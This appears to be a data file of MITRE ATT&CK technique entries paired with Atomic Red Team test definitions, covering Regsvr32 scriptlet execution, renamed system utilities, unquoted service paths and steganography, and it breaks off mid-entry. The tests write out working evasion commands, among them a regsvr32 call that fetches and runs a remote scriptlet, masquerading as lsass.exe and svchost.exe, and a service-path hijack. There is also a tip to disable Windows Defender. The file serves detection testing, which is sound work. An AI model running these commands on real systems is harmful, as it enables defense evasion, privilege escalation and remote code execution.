        Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

        Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

        Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Casey Smith
      x_mitre_deprecated: false
      x_mitre_detection: 'Use process monitoring to monitor the execution and arguments
        of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history
        of known good arguments and loaded files to determine anomalous and potentially
        adversarial activity. Command arguments used before and after the regsvr32.exe
        invocation may also be useful in determining the origin and purpose of the
        script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Anti-virus
      - Application control
      type: attack-pattern
      id: attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab
      created: '2020-01-23T19:52:17.414Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1218/010
        external_id: T1218.010
      - source_name: FireEye Regsvr32 Targeting Mongolian Gov
        description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing
          Techniques Used in Attacks Targeting the Mongolian Government. Retrieved
          February 24, 2017.
        url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html
      - source_name: LOLBAS Regsvr32
        description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.
        url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
      - source_name: Microsoft Regsvr32
        description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and
          troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.
        url: https://support.microsoft.com/en-us/kb/249873
      - source_name: Carbon Black Squiblydoo Apr 2016
        description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo”
          Continues Trend of Attackers Using Native OS Tools to “Live off the Land”.
          Retrieved April 9, 2018.'
        url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1218.010
    atomic_tests:
    - name: Regsvr32 local COM scriptlet execution
      auto_generated_guid: 449aa403-6aba-47ce-8a37-247d21ef0306
      description: 'Regsvr32.exe is a command-line program used to register and unregister
        OLE controls. Upon execution, calc.exe will be launched.

        '
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Name of the local file, include path.
          type: path
          default: PathToAtomicsFolder\T1218.010\src\RegSvr32.sct
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: string
          default: regsvr32.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Regsvr32.sct must exist on disk at specified location (#{filename})

          '
        prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}"
      executor:
        command: '#{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll

          '
        name: command_prompt
    - name: Regsvr32 remote COM scriptlet execution
      auto_generated_guid: c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36
      description: |
        Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable
        windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: URL to hosted sct file
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: string
          default: regsvr32.exe
      executor:
        command: "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{url} scrobj.dll\n"
        name: command_prompt
    - name: Regsvr32 local DLL execution
      auto_generated_guid: '08ffca73-9a3d-471a-aeb0-68b4aa3ab37b'
      description: 'Regsvr32.exe is a command-line program used to register and unregister
        OLE controls. Upon execution, calc.exe will be launched.

        '
      supported_platforms:
      - windows
      input_arguments:
        dll_name:
          description: Name of DLL to Execute, DLL Should export DllRegisterServer
          type: path
          default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: string
          default: regsvr32.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AllTheThingsx86.dll must exist on disk at specified location
          (#{dll_name})

          '
        prereq_command: 'if (Test-Path "#{dll_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
      executor:
        command: 'IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe
          /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )

          '
        name: command_prompt
    - name: Regsvr32 Registering Non DLL
      auto_generated_guid: 1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421
      description: 'Replicating observed Gozi maldoc behavior registering a dll with
        an altered extension

        '
      supported_platforms:
      - windows
      input_arguments:
        dll_file:
          description: Path to renamed dll file to be registered
          type: path
          default: "%temp%\\shell32.jpg"
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: path
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: string
          default: regsvr32.exe
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requires a renamed dll file

          '
        prereq_command: 'if exist #{dll_file} ( exit 0 ) else ( exit 1 )

          '
        get_prereq_command: 'copy "C:\Windows\System32\shell32.dll" "#{dll_file}"

          '
      executor:
        name: command_prompt
        elevation_required: false
        command: "#{regsvr32path}\\#{regsvr32name} /s #{dll_file}\n"
        cleanup_command: "#{regsvr32path}\\#{regsvr32name} /U /s #{dll_file}\n"
    - name: Regsvr32 Silent DLL Install Call DllRegisterServer
      auto_generated_guid: 9d71c492-ea2e-4c08-af16-c6994cdf029f
      description: Regsvr32.exe is a command-line program used to register and unregister
        OLE controls. Normally, an install is executed with /n to prevent calling
        DllRegisterServer.
      supported_platforms:
      - windows
      input_arguments:
        dll_name:
          description: Name of DLL to Install
          type: string
          default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll
        regsvr32path:
          description: Default location of Regsvr32.exe
          type: string
          default: C:\Windows\system32
        regsvr32name:
          description: Default name of Regsvr32.exe
          type: string
          default: regsvr32.exe
      dependency_executor_name: powershell
      dependencies:
      - description: AllTheThingsx86.dll must exist on disk at specified location
          (#{dll_name})
        prereq_command: 'if (Test-Path "#{dll_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
      executor:
        command: '#{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}"

          '
        name: command_prompt
  T1036.003:
    technique:
      modified: '2023-09-14T21:12:48.411Z'
      name: 'Masquerading: Rename System Utilities'
      description: 'Adversaries may rename legitimate system utilities to try to evade
        security mechanisms concerning the usage of those utilities. Security monitoring
        and control mechanisms may be in place for system utilities adversaries are
        capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass
        those security mechanisms by renaming the utility prior to utilization (ex:
        rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An
        alternative case occurs when a legitimate utility is copied or moved to a
        different directory and renamed to avoid detections based on system utilities
        executing from non-standard paths. (Citation: F-Secure CozyDuke)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: 'If file names are mismatched between the file name on disk
        and that of the binary''s PE metadata, this is a likely indicator that a binary
        was renamed after it was compiled. Collecting and comparing disk and resource
        filenames for binaries by looking to see if the InternalName, OriginalFilename,
        and/or ProductName match what is expected could provide useful leads, but
        may not always be indicative of malicious activity. (Citation: Elastic Masquerade
        Ball) Do not focus on the possible names a file could have, but instead on
        the command-line arguments that are known to be used and are distinct because
        it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading
        Update)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Metadata'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b
      created: '2020-02-10T20:03:11.691Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1036/003
        external_id: T1036.003
      - source_name: Twitter ItsReallyNick Masquerading Update
        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
          Retrieved April 22, 2019.
        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
      - source_name: Elastic Masquerade Ball
        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
          Retrieved October 31, 2016.'
        url: https://www.elastic.co/blog/how-hunt-masquerade-ball
      - source_name: F-Secure CozyDuke
        description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis.
          Retrieved December 10, 2015.'
        url: https://www.f-secure.com/documents/996508/1030745/CozyDuke
      - source_name: LOLBAS Main Site
        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
          also Libraries). Retrieved February 10, 2020.
        url: https://lolbas-project.github.io/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1036.003
    atomic_tests:
    - name: Masquerading as Windows LSASS process
      auto_generated_guid: 5ba5a3d1-cf3c-4499-968a-a93155d1f717
      description: |
        Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.

        Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session
      supported_platforms:
      - windows
      executor:
        command: |
          copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
          %SystemRoot%\Temp\lsass.exe /B
        cleanup_command: 'del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1

          '
        name: command_prompt
    - name: Masquerading as FreeBSD or Linux crond process.
      auto_generated_guid: a315bfff-7a98-403b-b442-2ea1b255e556
      description: |
        Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.

        Upon successful execution, sh is renamed to `crond` and executed.
      supported_platforms:
      - linux
      executor:
        command: |
          cp /bin/sh /tmp/crond;
          echo 'sleep 5' | /tmp/crond
        cleanup_command: 'rm /tmp/crond

          '
        name: sh
    - name: Masquerading - cscript.exe running as notepad.exe
      auto_generated_guid: 3a2a578b-0a01-46e4-92e3-62e2859b42f0
      description: |
        Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.

        Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y
          cmd.exe /c %APPDATA%\notepad.exe /B
        cleanup_command: 'del /Q /F %APPDATA%\notepad.exe >nul 2>&1

          '
        name: command_prompt
    - name: Masquerading - wscript.exe running as svchost.exe
      auto_generated_guid: 24136435-c91a-4ede-9da1-8b284a1c1a23
      description: |
        Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.

        Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Wscript file to execute must exist on disk

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs"
      executor:
        command: |
          copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y
          cmd.exe /c %APPDATA%\svchost.exe "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs"
        cleanup_command: 'del /Q /F %APPDATA%\svchost.exe >nul 2>&1

          '
        name: command_prompt
    - name: Masquerading - powershell.exe running as taskhostw.exe
      auto_generated_guid: ac9d0fc3-8aa8-4ab5-b11f-682cd63b40aa
      description: |
        Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.

        Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y
          cmd.exe /K %APPDATA%\taskhostw.exe
        cleanup_command: 'del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1

          '
        name: command_prompt
    - name: Masquerading - non-windows exe running as windows exe
      auto_generated_guid: bc15c13f-d121-4b1f-8c7d-28d95854d086
      description: |
        Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe

        Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.
      supported_platforms:
      - windows
      input_arguments:
        outputfile:
          description: path of file to execute
          type: path
          default: ($env:TEMP + "\svchost.exe")
        inputfile:
          description: path of file to copy
          type: path
          default: PathToAtomicsFolder\T1036.003\bin\T1036.003.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Exe file to copy must exist on disk at specified location (#{inputfile})

          '
        prereq_command: 'if (Test-Path "#{inputfile}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inputfile}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe" -OutFile "#{inputfile}"
      executor:
        command: |
          copy "#{inputfile}" #{outputfile}
          try { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }
          catch { $_; exit $_.Exception.HResult}
          Stop-Process -ID $myT1036_003
        cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Masquerading - windows exe running as different windows exe
      auto_generated_guid: c3d24a39-2bfe-4c6a-b064-90cd73896cb0
      description: 'Copies a windows exe, renames it as another windows exe, and launches
        it to masquerade as second windows exe

        '
      supported_platforms:
      - windows
      input_arguments:
        outputfile:
          description: path of file to execute
          type: path
          default: ($env:TEMP + "\svchost.exe")
        inputfile:
          description: path of file to copy
          type: path
          default: "$env:ComSpec"
      executor:
        command: |
          copy "#{inputfile}" #{outputfile}
          $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id
          Stop-Process -ID $myT1036_003
        cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Malicious process Masquerading as LSM.exe
      auto_generated_guid: 83810c46-f45e-4485-9ab6-8ed0e9e6ed7f
      description: |
        Detect LSM running from an incorrect directory and an incorrect service account
        This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder.

        Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy C:\Windows\System32\cmd.exe C:\lsm.exe
          C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt
        cleanup_command: |
          del C:\T1036.003.txt >nul 2>&1
          del C:\lsm.exe >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: File Extension Masquerading
      auto_generated_guid: c7fa0c3b-b57f-4cba-9118-863bf4e653fc
      description: |
        download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.

        e.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)
      supported_platforms:
      - windows
      input_arguments:
        exe_path:
          description: path to exe to use when creating masquerading files
          type: path
          default: C:\Windows\System32\calc.exe
        vbs_path:
          description: path of vbs to use when creating masquerading files
          type: path
          default: PathToAtomicsFolder\T1036.003\src\T1036.003_masquerading.vbs
        ps1_path:
          description: path of powershell script to use when creating masquerading
            files
          type: path
          default: PathToAtomicsFolder\T1036.003\src\T1036.003_masquerading.ps1
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{vbs_path})

          '
        prereq_command: 'if (Test-Path "#{vbs_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{vbs_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs" -OutFile "#{vbs_path}"
      - description: 'File to copy must exist on disk at specified location (#{ps1_path})

          '
        prereq_command: 'if (Test-Path "#{ps1_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{ps1_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.ps1" -OutFile "#{ps1_path}"
      executor:
        command: |
          copy "#{exe_path}" %temp%\T1036.003_masquerading.docx.exe /Y
          copy "#{exe_path}" %temp%\T1036.003_masquerading.pdf.exe /Y
          copy "#{exe_path}" %temp%\T1036.003_masquerading.ps1.exe /Y
          copy "#{vbs_path}" %temp%\T1036.003_masquerading.xls.vbs /Y
          copy "#{vbs_path}" %temp%\T1036.003_masquerading.xlsx.vbs /Y
          copy "#{vbs_path}" %temp%\T1036.003_masquerading.png.vbs /Y
          copy "#{ps1_path}" %temp%\T1036.003_masquerading.doc.ps1 /Y
          copy "#{ps1_path}" %temp%\T1036.003_masquerading.pdf.ps1 /Y
          copy "#{ps1_path}" %temp%\T1036.003_masquerading.rtf.ps1 /Y
          %temp%\T1036.003_masquerading.docx.exe
          %temp%\T1036.003_masquerading.pdf.exe
          %temp%\T1036.003_masquerading.ps1.exe
          %temp%\T1036.003_masquerading.xls.vbs
          %temp%\T1036.003_masquerading.xlsx.vbs
          %temp%\T1036.003_masquerading.png.vbs
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.doc.ps1
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.pdf.ps1
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.rtf.ps1
        cleanup_command: |
          del /f %temp%\T1036.003_masquerading.docx.exe > nul 2>&1
          del /f %temp%\T1036.003_masquerading.pdf.exe > nul 2>&1
          del /f %temp%\T1036.003_masquerading.ps1.exe > nul 2>&1
          del /f %temp%\T1036.003_masquerading.xls.vbs > nul 2>&1
          del /f %temp%\T1036.003_masquerading.xlsx.vbs > nul 2>&1
          del /f %temp%\T1036.003_masquerading.png.vbs > nul 2>&1
          del /f %temp%\T1036.003_masquerading.doc.ps1 > nul 2>&1
          del /f %temp%\T1036.003_masquerading.pdf.ps1 > nul 2>&1
          del /f %temp%\T1036.003_masquerading.rtf.ps1 > nul 2>&1
        name: command_prompt
  T1562.011:
    technique:
      modified: '2023-04-12T22:46:33.995Z'
      name: Spoof Security Alerting
      description: |-
        Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.

        Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.

        For example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Sensor Health: Host Status'
      type: attack-pattern
      id: attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff
      created: '2023-03-14T16:04:24.865Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/011
        external_id: T1562.011
      - source_name: BlackBasta
        description: Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black
          Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7
          Threat Actor. Retrieved March 14, 2023.
        url: https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1574.009:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: Path Interception by Unquoted Path'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

        Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

        This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
      created: '2020-03-13T13:51:58.519Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/009
        external_id: T1574.009
      - source_name: Windows Privilege Escalation Guide
        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
          Retrieved August 10, 2018.
        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
      - source_name: Windows Unquoted Services
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
      - source_name: Help eliminate unquoted path
        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved November 8, 2012.
        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
      - source_name: Microsoft CurrentControlSet Services
        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved March 16, 2020.
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.009
    atomic_tests:
    - name: Execution of program.exe as service with unquoted service path
      auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f
      description: |
        When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
        known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
        In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
      supported_platforms:
      - windows
      input_arguments:
        service_executable:
          description: Path of the executable used for the service and as the hijacked
            program.exe
          type: path
          default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe
      executor:
        command: |
          copy "#{service_executable}" "C:\Program Files\windows_service.exe"
          copy "#{service_executable}" "C:\program.exe"
          sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
          sc start "Example Service"
        cleanup_command: |
          sc stop "Example Service" >nul 2>&1
          sc delete "Example Service" >nul 2>&1
          del "C:\Program Files\windows_service.exe" >nul 2>&1
          del "C:\program.exe" >nul 2>&1
          del "C:\Time.log" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1027.003:
    technique:
      modified: '2023-03-30T21:01:48.815Z'
      name: Steganography
      description: "Adversaries may use steganography techniques in order to prevent
        the detection of hidden information. Steganographic techniques can be used
        to hide data in digital media such as images, audio tracks, video clips, or
        text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early
        example of malware that used steganography. It encrypted the gathered information
        from a victim's system and hid it within an image before exfiltrating the
        image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a
        threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        commands in an image file (.png) and execute the code on a victim's system.
        In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        code downloaded another obfuscated script to gather intelligence from the
        victim's machine and communicate it back to the adversary.(Citation: McAfee
        Malicious Doc Targets Pyeongchang Olympics)  "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Detection of steganography is difficult unless artifacts
        are left behind by the obfuscation process that are detectable with a known
        signature. Look for strings or other signatures left in system artifacts related
        to decoding steganography.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
